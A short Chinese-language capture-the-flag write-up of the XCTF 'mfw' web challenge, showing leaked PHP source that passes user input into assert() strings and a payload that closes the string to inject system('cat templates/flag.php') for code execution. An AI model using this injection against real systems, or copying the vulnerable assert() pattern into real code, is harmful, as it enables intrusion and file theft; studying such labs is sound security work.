web-21 XCTF mfw

web-21 XCTF mfw

网站挺好,大概有源码泄露,githack扫一下,得到源代码(截取PHP部分)

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
>?

要查看的文件名file是可以控制的,但".."被禁用了不能用类似"../../../../../flag.php"的形式查看flag了。

但assert函数是存在任意代码执行漏洞,因此我们可以先尝试闭合strpos函数,省下的部分就是任意代码执行了。

只要构造payload

?page=').system("cat templates/flag.php");//

得到flag!

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注